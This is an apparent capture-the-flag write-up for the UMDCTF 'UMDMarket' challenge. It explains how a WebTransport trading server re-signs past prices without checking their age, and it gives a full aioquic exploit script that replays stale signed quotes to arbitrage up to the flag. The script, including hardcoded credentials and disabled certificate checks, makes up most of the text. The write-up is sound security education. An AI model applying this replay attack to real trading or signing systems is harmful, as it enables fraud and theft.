UMDMarket: Time-Travel Arbitrage in WebTransport
Challenge Description
We were provided with a trading platform built on the modern WebTransport protocol. The platform broadcasted market quotes (prices) via fast UDP datagrams and accepted trade orders through bidirectional streams.
Goal: Increase the balance from 1,000,000 to 10,000,000 and purchase the flag (command 0x50).
Initial Analysis
A key feature of the server was the RESEND mechanism (code 0x26). Since UDP packets can be lost, the server allowed the client to send an old sequence number (seq) and receive a fresh cryptographic signature (HMAC) for the price that was active at that specific moment (up to 500 ticks, or ~50 seconds in the past).
Vulnerability: Time-Travel Arbitrage
The server verified the validity of the HMAC, but it did not check the age of the price during the actual trade execution. This allowed clients to buy and sell assets using prices from the past, creating the perfect conditions for risk-free arbitrage.
Step 1 — Double Time Travel Strategy
Because of the 5-second cooldown, a standard arbitrage approach (buy in the past -> sell now) could lead to losses if the real-time market dropped significantly while we were waiting.
We applied a double time travel strategy:
- Accumulate a history of prices in memory (roughly 50 seconds worth).
- Find two points in the history: $T_1$ (cheap) and $T_2$ (expensive), where $T_2$ occurs at least 5.2 seconds after $T_1$.
- Execute
RESENDfor $T_1$ → Buy using the entire balance. - Wait 5.5 seconds (to bypass the server’s cooldown).
- Execute
RESENDfor $T_2$ → Sell the assets.
This guarantees a profit because we know for a fact that $Price(T_2) > Price(T_1)$, rendering the current live market state completely irrelevant.
Step 2 — Solution Script
Below is the complete exploit script using aioquic:
import asyncio
import struct
import time
import ssl
import random
import logging
logging.basicConfig(level=logging.ERROR)
from aioquic.quic.configuration import QuicConfiguration
from aioquic.asyncio.client import connect
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.quic.events import ConnectionTerminated, StreamDataReceived
from aioquic.h3.connection import H3Connection
from aioquic.h3.events import DatagramReceived, HeadersReceived, WebTransportStreamDataReceived
# --- CONFIGURATION ---
HOST = "umdmarket.challs.umdctf.io"
PORT = 4443
USERNAME = "Final1263r"
PASSWORD = "SuperP@ssw0rd1!"
TICKER_ID = 9
# --- PACKING HELPERS ---
def pack_string8(s: str) -> bytes:
encoded = s.encode('utf-8')
return struct.pack('<B', len(encoded)) + encoded
def build_auth_req(type_byte, user, pwd):
return struct.pack('<B', type_byte) + pack_string8(user) + pack_string8(pwd)
def build_subscribe_req(ticker_id: int) -> bytes:
return b'\x22' + struct.pack('<H', ticker_id)
def build_resend_req(seq: int, ticker_id: int) -> bytes:
return b'\x26' + struct.pack('<HH', seq, ticker_id)
def build_trade_req(seq: int, ticker_id: int, price: int, hmac: bytes, side: int, qty: int) -> bytes:
header = b'\x30' + struct.pack('<HHH', seq, ticker_id, price)
return header + hmac + struct.pack('<BI', side, qty)
def encode_varint(value: int) -> bytes:
if value < 0x40: return struct.pack(">B", value)
elif value < 0x3FFF: return struct.pack(">H", value | 0x4000)
elif value < 0x3FFFFFFF: return struct.pack(">I", value | 0x80000000)
else: return struct.pack(">Q", value | 0xC000000000000000)
# --- CUSTOM WEBTRANSPORT PROTOCOL ---
class WebTransportProtocol(QuicConnectionProtocol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._http = H3Connection(self._quic, enable_webtransport=True)
self.session_id = None
self.datagram_queue = asyncio.Queue()
self.stream_queues = {}
self.connected = asyncio.Event()
self.my_wt_streams = set()
def quic_event_received(self, event):
if isinstance(event, ConnectionTerminated):
self.connected.set()
return
if isinstance(event, StreamDataReceived) and event.stream_id in self.my_wt_streams:
if event.stream_id not in self.stream_queues:
self.stream_queues[event.stream_id] = asyncio.Queue()
self.stream_queues[event.stream_id].put_nowait(event.data)
return
try:
for h3_event in self._http.handle_event(event):
if isinstance(h3_event, HeadersReceived):
if dict(h3_event.headers).get(b":status") == b"200":
self.connected.set()
elif isinstance(h3_event, DatagramReceived):
self.datagram_queue.put_nowait(h3_event.data)
except: pass
async def establish_session(self, host, path):
stream_id = self._quic.get_next_available_stream_id(is_unidirectional=False)
self._http.send_headers(stream_id=stream_id, headers=[
(b":method", b"CONNECT"), (b":protocol", b"webtransport"),
(b":scheme", b"https"), (b":authority", host.encode()),
(b":path", path.encode()), (b"origin", f"https://{HOST}".encode()),
(b"user-agent", b"Mozilla/5.0")
])
self.session_id = stream_id
self.transmit()
try: await asyncio.wait_for(self.connected.wait(), timeout=5.0)
except: pass
return self
async def send_bidi_stream(self, data: bytes):
wt_id = self._quic.get_next_available_stream_id(is_unidirectional=False)
self.my_wt_streams.add(wt_id)
# RFC 9297: 0x41 = Bidirectional stream
payload = encode_varint(0x41) + encode_varint(self.session_id) + data
self._quic.send_stream_data(wt_id, payload, end_stream=True)
self.transmit()
if wt_id not in self.stream_queues: self.stream_queues[wt_id] = asyncio.Queue()
return await self.stream_queues[wt_id].get()
async def receive_datagram(self):
data = await self.datagram_queue.get()
if len(data) >= 15 and data[-15] == 0x01: return data[-15:]
idx = data.find(b'\x01')
return data[idx:idx+15] if (idx != -1 and len(data)-idx >= 15) else data
# --- MAIN ARBITRAGE LOGIC ---
async def run_exploit():
config = QuicConfiguration(is_client=True, alpn_protocols=["h3"],
verify_mode=ssl.CERT_NONE, max_datagram_frame_size=65536)
async with connect(HOST, PORT, configuration=config, create_protocol=WebTransportProtocol) as protocol:
wt = await protocol.establish_session(f"{HOST}:{PORT}", "/wt")
# LOGIN or REGISTER
resp = await wt.send_bidi_stream(build_auth_req(0x21, USERNAME, PASSWORD))
if resp[0] != 0x00: resp = await wt.send_bidi_stream(build_auth_req(0x20, USERNAME, PASSWORD))
_, balance = struct.unpack('<BQ', resp[:9])
print(f"[+] Balance: {balance}")
await wt.send_bidi_stream(build_subscribe_req(TICKER_ID))
history = {}
state = "SEARCHING"
positions = 0
print("\n[*] LAUNCHING STABLE ARBITRAGE 3.0...")
while balance < 10_000_000:
try:
data = await asyncio.wait_for(wt.receive_datagram(), timeout=5.0)
except: continue
if data[0] == 0x01: # QUOTE
_, seq, _, price = struct.unpack('<BHHH', data[:7])
history[seq] = price
if seq % 5 == 0:
print(f"[~] Tick {seq} | Balance: {balance} | State: {state} | Holdings: {positions} ", end='\r')
if state == "SEARCHING":
# Clean up old history
keys_to_del = [s for s in history if s < seq - 490]
for k in keys_to_del: del history[k]
if len(history) > 65:
found_pair = None
all_seqs = sorted(history.keys())
# Find pair: delta T > 5.5s, Profit > 50
for i in range(len(all_seqs)):
t1 = all_seqs[i]
p1 = history[t1]
for j in range(i + 55, len(all_seqs)):
t2 = all_seqs[j]
p2 = history[t2]
if p2 > p1 + 50: # Profit threshold
found_pair = (t1, p1, t2, p2)
break
if found_pair: break
if found_pair:
t1, p1, t2, p2 = found_pair
print(f"\n[!] Found pair: {t1}({p1}) -> {t2}({p2})")
# 1. BUY
r1 = await wt.send_bidi_stream(build_resend_req(t1, TICKER_ID))
if r1[0] == 0x00:
_, f_seq1, _, r_price1 = struct.unpack('<BHHH', r1[:7])
hmac1 = r1[7:15]
qty = balance // r_price1
if qty > 0:
t_resp1 = await wt.send_bidi_stream(build_trade_req(f_seq1, TICKER_ID, r_price1, hmac1, 0x00, qty))
if t_resp1[0] == 0x00:
_, _, balance = struct.unpack('<BHQ', t_resp1[:11])
positions = qty
state = "TRADING" # SWITCH TO HOLDING MODE
print(f"[$$$] BOUGHT {qty}. Waiting 5.5s for guaranteed sell...")
await asyncio.sleep(5.5)
# 2. GUARANTEED SELL LOOP
sold = False
while not sold:
r2 = await wt.send_bidi_stream(build_resend_req(t2, TICKER_ID))
if r2[0] == 0x00:
_, f_seq2, _, r_price2 = struct.unpack('<BHHH', r2[:7])
hmac2 = r2[7:15]
t_resp2 = await wt.send_bidi_stream(build_trade_req(f_seq2, TICKER_ID, r_price2, hmac2, 0x02, positions))
if t_resp2[0] == 0x00:
_, _, balance = struct.unpack('<BHQ', t_resp2[:11])
print(f"[$$$] SOLD! New balance: {balance}\n")
sold = True
elif t_resp2[0] == 0x03:
print("[-] Code 03 (Cooldown). Waiting 1 sec...")
await asyncio.sleep(1)
else:
print(f"[-] Sell Error 0x{t_resp2[0]:02x}. Retrying...")
await asyncio.sleep(1)
else:
print("[-] Failed to get RESEND for sell. Retrying...")
await asyncio.sleep(1)
# Purge queue after successful cycle
while not wt.datagram_queue.empty(): wt.datagram_queue.get_nowait()
history.clear()
positions = 0
state = "SEARCHING"
else:
print(f"[-] BUY Error: 0x{t_resp1[0]:02x}")
else:
print("[-] Failed to get RESEND for buy.")
print("\n[!!!] 10M BALANCE REACHED! BUYING FLAG...")
f_resp = await wt.send_bidi_stream(b'\x50')
if f_resp[0] == 0x00:
f_len = struct.unpack('<H', f_resp[1:3])[0]
print(f"\n{'='*40}\n🚩 FLAG: {f_resp[3:3+f_len].decode()}\n{'='*40}")
if __name__ == "__main__":
asyncio.run(run_exploit())
Flag
UMDCTF{fu7ur3_j4n3_s7r33t_h1r3}